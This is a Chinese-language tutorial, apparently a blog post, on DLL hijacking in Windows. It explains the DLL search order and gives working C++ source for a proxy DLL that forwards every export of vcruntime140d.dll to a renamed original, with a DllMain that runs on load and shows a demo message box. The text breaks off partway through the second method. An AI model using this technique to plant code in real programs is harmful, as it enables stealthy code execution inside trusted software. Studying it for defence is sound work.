Dll劫持
前言:
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。
如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
实现原理:
当一个可执行文件运行时,windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。搜索DLL文件的顺序:程序所在目录、系统目录、16位系统目录、windows目录、当前目录、PATH环境变量中的各个目录。所以,我们可以在当前程序所在目录下伪造一个与系统同名的DLL,提供同样的输出表,并使每个输出函数转向真正的系统DLL。这样,程序调用系统DLL时会先调用当前程序所在目录下的伪装的DLL,完成我们的操作后再跳到系统DLL同名函数里执行。
恶意dll构造方法:
(1).直接转发DLL
在所有的预处理指令中,#pragma 指令可能是最复杂的了,它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。可以通过下面的指令完成函数转发的操作。
#pragma comment(linker, "/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]
使用/EXPORT选项,可以从程序中导出函数,以便其他程序可以调用该函数,它也可以导出数据。其中,entryname是调用程序要使用的函数或数据项的名称。ordinal在导出表中指定范围在1~65535之间的索引;如果没有指定ordinal,则链接器将分配一个。NONAME关键字只将函数导出为序号,并且没有entryname。DATA关键字指定导出项为数据项,用户程序中的数据项必须用extern __declspec(dllimport)来声明。
例如,假设导出函数为MessageBoxATest,若直接转发user32.dll中的MessageBoxA导出函数,那么编译指令代码如下所示。
#pragma comment(linker, "/EXPORT:MessageBoxATest=user32.MessageBoxA")
上述代码中的user32表示user32.dll模块。当加载DLL程序的时候,它会根据上述DLL的搜索路径自动搜索并加载user32.dll模块到进程中。当调用MessageBoxATest导出函数的时候,系统会将其直接转发给user32.dll模块中的MessageBoxA导出函数去执行。
(2).调用DLL函数
通过LoadLibrary和GetProcAddress函数来加载DLL并获取DLL的导出函数地址,然后跳转执行还是使用上面那个例子,若函数为MessageBoxATest,调用user32.dll中的MessageBoxA导出函数,那么调用代码如下所示。
extern "C" void __declspec(naked) MessageBoxATest() { PVOID pAddr; HMODULE hDll; hDll = ::LoadLibrary("C:\\Windows\\System32\\user32.dll"); if (NULL != hDll) { pAddr = ::GetProcAddress(hDll, "MessageBoxA"); if (pAddr) { __asm jmp pAddr } ::FreeLibrary(hDll); } }
关键字declspec(naked)来声明MessageBoxATest函数是一个裸函数。declspec(naked)告诉编译器不要对函数进行优化,包括堆栈平衡、参数压栈、ebp赋值和还原,甚至是ret等所有的函数实现都要程序来操作。不需要任何优化,使用内联汇编,可以完全按自己意愿运行。注意naked特性仅适用于x86和ARM,并不用于x64。同时,通过extern "C"来指明该部分代码使用C编译器来编译。
同样可以使用#pragma comment指令的/EXPORT选项来对MessageBoxATest函数进行导出,它也可以任意设置导出函数的名称。
获取要劫持dll的导出函数:
无论是直接转发函数方法还是调用函数方法,它们都有明显的规律可循,关键是遍历劫持DLL的导出函数。所以,当遇到劫持的DLL有很多个导出函数的时候,手动编写劫持代码就是一个纯粹的体力劳动了。因此,前人开发了专门用来生成DLL劫持代码的工具,例如AheadLib。
注意:AheadLib工具对于导出函数的函数名以_开头的需要在前面再加上一个_,如
#pragma comment(linker, "/EXPORT:__CreateFrameInfo=vcruntime140dOrg._CreateFrameInfo") //函数名前面是两个_
实现代码:
(1).直接转发dll(以vcruntime140d.dll为劫持对象,被改名为vcruntime140dOrg.dll):
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <tchar.h> #include <windows.h> // 直接转发DLL函数 #pragma comment(linker, "/EXPORT:__CreateFrameInfo=vcruntime140dOrg._CreateFrameInfo") #pragma comment(linker, "/EXPORT:__CxxThrowException=vcruntime140dOrg._CxxThrowException") #pragma comment(linker, "/EXPORT:__EH_prolog=vcruntime140dOrg._EH_prolog") #pragma comment(linker, "/EXPORT:__FindAndUnlinkFrame=vcruntime140dOrg._FindAndUnlinkFrame") #pragma comment(linker, "/EXPORT:__IsExceptionObjectToBeDestroyed=vcruntime140dOrg._IsExceptionObjectToBeDestroyed") #pragma comment(linker, "/EXPORT:__NLG_Dispatch2=vcruntime140dOrg._NLG_Dispatch2") #pragma comment(linker, "/EXPORT:__NLG_Return=vcruntime140dOrg._NLG_Return") #pragma comment(linker, "/EXPORT:__NLG_Return2=vcruntime140dOrg._NLG_Return2") #pragma comment(linker, "/EXPORT:__SetWinRTOutOfMemoryExceptionCallback=vcruntime140dOrg._SetWinRTOutOfMemoryExceptionCallback") #pragma comment(linker, "/EXPORT:___AdjustPointer=vcruntime140dOrg.__AdjustPointer") #pragma comment(linker, "/EXPORT:___BuildCatchObject=vcruntime140dOrg.__BuildCatchObject") #pragma comment(linker, "/EXPORT:___BuildCatchObjectHelper=vcruntime140dOrg.__BuildCatchObjectHelper") #pragma comment(linker, "/EXPORT:___CxxDetectRethrow=vcruntime140dOrg.__CxxDetectRethrow") #pragma comment(linker, "/EXPORT:___CxxExceptionFilter=vcruntime140dOrg.__CxxExceptionFilter") #pragma comment(linker, "/EXPORT:___CxxFrameHandler=vcruntime140dOrg.__CxxFrameHandler") #pragma comment(linker, "/EXPORT:___CxxFrameHandler2=vcruntime140dOrg.__CxxFrameHandler2") #pragma comment(linker, "/EXPORT:___CxxFrameHandler3=vcruntime140dOrg.__CxxFrameHandler3") #pragma comment(linker, "/EXPORT:___CxxLongjmpUnwind=vcruntime140dOrg.__CxxLongjmpUnwind") #pragma comment(linker, "/EXPORT:___CxxQueryExceptionSize=vcruntime140dOrg.__CxxQueryExceptionSize") #pragma comment(linker, "/EXPORT:___CxxRegisterExceptionObject=vcruntime140dOrg.__CxxRegisterExceptionObject") #pragma comment(linker, "/EXPORT:___CxxUnregisterExceptionObject=vcruntime140dOrg.__CxxUnregisterExceptionObject") #pragma comment(linker, "/EXPORT:___DestructExceptionObject=vcruntime140dOrg.__DestructExceptionObject") #pragma comment(linker, "/EXPORT:___FrameUnwindFilter=vcruntime140dOrg.__FrameUnwindFilter") #pragma comment(linker, "/EXPORT:___GetPlatformExceptionInfo=vcruntime140dOrg.__GetPlatformExceptionInfo") #pragma comment(linker, "/EXPORT:___RTCastToVoid=vcruntime140dOrg.__RTCastToVoid") #pragma comment(linker, "/EXPORT:___RTDynamicCast=vcruntime140dOrg.__RTDynamicCast") #pragma comment(linker, "/EXPORT:___RTtypeid=vcruntime140dOrg.__RTtypeid") #pragma comment(linker, "/EXPORT:___TypeMatch=vcruntime140dOrg.__TypeMatch") #pragma comment(linker, "/EXPORT:___current_exception=vcruntime140dOrg.__current_exception") #pragma comment(linker, "/EXPORT:___current_exception_context=vcruntime140dOrg.__current_exception_context") #pragma comment(linker, "/EXPORT:___intrinsic_setjmp=vcruntime140dOrg.__intrinsic_setjmp") #pragma comment(linker, "/EXPORT:___processing_throw=vcruntime140dOrg.__processing_throw") #pragma comment(linker, "/EXPORT:___report_gsfailure=vcruntime140dOrg.__report_gsfailure") #pragma comment(linker, "/EXPORT:___std_exception_copy=vcruntime140dOrg.__std_exception_copy") #pragma comment(linker, "/EXPORT:___std_exception_destroy=vcruntime140dOrg.__std_exception_destroy") #pragma comment(linker, "/EXPORT:___std_terminate=vcruntime140dOrg.__std_terminate") #pragma comment(linker, "/EXPORT:___std_type_info_compare=vcruntime140dOrg.__std_type_info_compare") #pragma comment(linker, "/EXPORT:___std_type_info_destroy_list=vcruntime140dOrg.__std_type_info_destroy_list") #pragma comment(linker, "/EXPORT:___std_type_info_hash=vcruntime140dOrg.__std_type_info_hash") #pragma comment(linker, "/EXPORT:___std_type_info_name=vcruntime140dOrg.__std_type_info_name") #pragma comment(linker, "/EXPORT:___telemetry_main_invoke_trigger=vcruntime140dOrg.__telemetry_main_invoke_trigger") #pragma comment(linker, "/EXPORT:___telemetry_main_return_trigger=vcruntime140dOrg.__telemetry_main_return_trigger") #pragma comment(linker, "/EXPORT:___unDName=vcruntime140dOrg.__unDName") #pragma comment(linker, "/EXPORT:___unDNameEx=vcruntime140dOrg.__unDNameEx") #pragma comment(linker, "/EXPORT:___uncaught_exception=vcruntime140dOrg.__uncaught_exception") #pragma comment(linker, "/EXPORT:___uncaught_exceptions=vcruntime140dOrg.__uncaught_exceptions") #pragma comment(linker, "/EXPORT:___vcrt_GetModuleFileNameW=vcruntime140dOrg.__vcrt_GetModuleFileNameW") #pragma comment(linker, "/EXPORT:___vcrt_GetModuleHandleW=vcruntime140dOrg.__vcrt_GetModuleHandleW") #pragma comment(linker, "/EXPORT:___vcrt_InitializeCriticalSectionEx=vcruntime140dOrg.__vcrt_InitializeCriticalSectionEx") #pragma comment(linker, "/EXPORT:___vcrt_LoadLibraryExW=vcruntime140dOrg.__vcrt_LoadLibraryExW") #pragma comment(linker, "/EXPORT:__chkesp=vcruntime140dOrg._chkesp") #pragma comment(linker, "/EXPORT:__except_handler2=vcruntime140dOrg._except_handler2") #pragma comment(linker, "/EXPORT:__except_handler3=vcruntime140dOrg._except_handler3") #pragma comment(linker, "/EXPORT:__except_handler4_common=vcruntime140dOrg._except_handler4_common") #pragma comment(linker, "/EXPORT:__get_purecall_handler=vcruntime140dOrg._get_purecall_handler") #pragma comment(linker, "/EXPORT:__get_unexpected=vcruntime140dOrg._get_unexpected") #pragma comment(linker, "/EXPORT:__global_unwind2=vcruntime140dOrg._global_unwind2") #pragma comment(linker, "/EXPORT:__is_exception_typeof=vcruntime140dOrg._is_exception_typeof") #pragma comment(linker, "/EXPORT:__local_unwind2=vcruntime140dOrg._local_unwind2") #pragma comment(linker, "/EXPORT:__local_unwind4=vcruntime140dOrg._local_unwind4") #pragma comment(linker, "/EXPORT:__longjmpex=vcruntime140dOrg._longjmpex") #pragma comment(linker, "/EXPORT:__purecall=vcruntime140dOrg._purecall") #pragma comment(linker, "/EXPORT:__seh_longjmp_unwind4=vcruntime140dOrg._seh_longjmp_unwind4") #pragma comment(linker, "/EXPORT:__seh_longjmp_unwind=vcruntime140dOrg._seh_longjmp_unwind") #pragma comment(linker, "/EXPORT:__set_purecall_handler=vcruntime140dOrg._set_purecall_handler") #pragma comment(linker, "/EXPORT:__set_se_translator=vcruntime140dOrg._set_se_translator") #pragma comment(linker, "/EXPORT:__setjmp3=vcruntime140dOrg._setjmp3") #pragma comment(linker, "/EXPORT:longjmp=vcruntime140dOrg.longjmp") #pragma comment(linker, "/EXPORT:memchr=vcruntime140dOrg.memchr") #pragma comment(linker, "/EXPORT:memcmp=vcruntime140dOrg.memcmp") #pragma comment(linker, "/EXPORT:memcpy=vcruntime140dOrg.memcpy") #pragma comment(linker, "/EXPORT:memmove=vcruntime140dOrg.memmove") #pragma comment(linker, "/EXPORT:memset=vcruntime140dOrg.memset") #pragma comment(linker, "/EXPORT:set_unexpected=vcruntime140dOrg.set_unexpected") #pragma comment(linker, "/EXPORT:strchr=vcruntime140dOrg.strchr") #pragma comment(linker, "/EXPORT:strrchr=vcruntime140dOrg.strrchr") #pragma comment(linker, "/EXPORT:strstr=vcruntime140dOrg.strstr") #pragma comment(linker, "/EXPORT:unexpected=vcruntime140dOrg.unexpected") #pragma comment(linker, "/EXPORT:wcschr=vcruntime140dOrg.wcschr") #pragma comment(linker, "/EXPORT:wcsrchr=vcruntime140dOrg.wcsrchr") #pragma comment(linker, "/EXPORT:wcsstr=vcruntime140dOrg.wcsstr") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); MessageBox(NULL,_T("劫持成功!"),_T("提示"),NULL); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
(2).调用dll函数,使用AheadLib工具生成,有点小问题,LoadLibrary原dll文件报参数错误,